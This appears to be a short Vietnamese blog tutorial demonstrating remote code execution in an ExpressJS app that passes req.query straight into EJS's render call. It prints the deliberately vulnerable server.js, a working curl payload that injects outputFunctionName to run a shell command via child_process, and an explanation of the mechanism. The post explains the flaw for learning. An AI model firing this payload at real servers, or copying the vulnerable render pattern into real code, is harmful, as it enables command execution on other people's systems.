RCE với ExpressJS và EJS

ThongTran
3 min readApr 25, 2021

Trong bài này, mình sẽ demo đơn giản RCE với một app ExpressJS đơn giản sử dụng EJS làm template engine. Cụ thể, với app như sau:

1. file server.js:

const express = require('express')const app = express()const port = 3000app.set('views', __dirname);app.set('view engine', 'ejs');app.use(express.urlencoded({ extended: false }));app.get('/', (req, res) => {res.render('index', req.query)})app.listen(port, (port, (err) => {if (err) {return console.log('something bad happened', err)}console.log(`server is listening on ${port}`)}))module.exports = app;

2. file index.ejs

<!DOCTYPE html><h1><%=message %></h1>

ExpressJS cho phép người dùng sử dụng được nhiều loại template engine khác nhau. Với mỗi loại template engine khi sử dụng, các thông số cấu hình được sử dụng khác nhau. Do đó, nhiều template engine đã cho phép cấu hình các thông số thông qua API render của ExpressJS. Thông số cấu hình có thể được truyền vào dưới dạng một object khi sử dụng API render. Do đó, điều này hoàn toàn có thể dẫn đến nếu như người dùng có thể kiếm soát được object được truyền vào API đó. Ví dụ như ở file server.js như trên, object req.query được truyền trực tiếp vào API render. Với trường hợp này, một attacker có thể tấn công được app thông qua việc sử dụng các thông số cấu hình độc hại.

EJS khi sử dụng với API render của ExpressJS có thể dẫn đến RCE. Cụ thể, có thể tùy chỉnh thuộc tính outputFunctionName của template để thực thi mã.

DEMO

Run server
Server running

payload như sau :

curl 'http://localhost:3000/?message=test&settings\[view%20options\]\[outputFunctionName\]=x%3Bprocess.mainModule.require(%27child_process%27).exec(%27bash%20-c%20%22touch%20%2Ftmp%2hihi%22%27)%3Bx'

Cơ chế:

Thuộc tính viewOpts của template sẽ được tùy chỉnh bởi data.settings[‘view options’]. Do đó, có thể thay đổi thuộc tính outputFunctionName của template thì chỉ cần thay đổi data.settings[‘view options’][‘outputFunctionName’]. Thay đổi thuộc tính outputFunctionName có thể dẫn đến thay đổi được nội dung của một hàm được gọi và thực thi. Do đó, ta chỉ cần một payload để chỉnh sửa thuộc tính outputFunctionName là có thể thực thi RCE.

Passing options from Express
parsing string of ‘outputFunctionName’
create a Function and execute with the content from src

--

--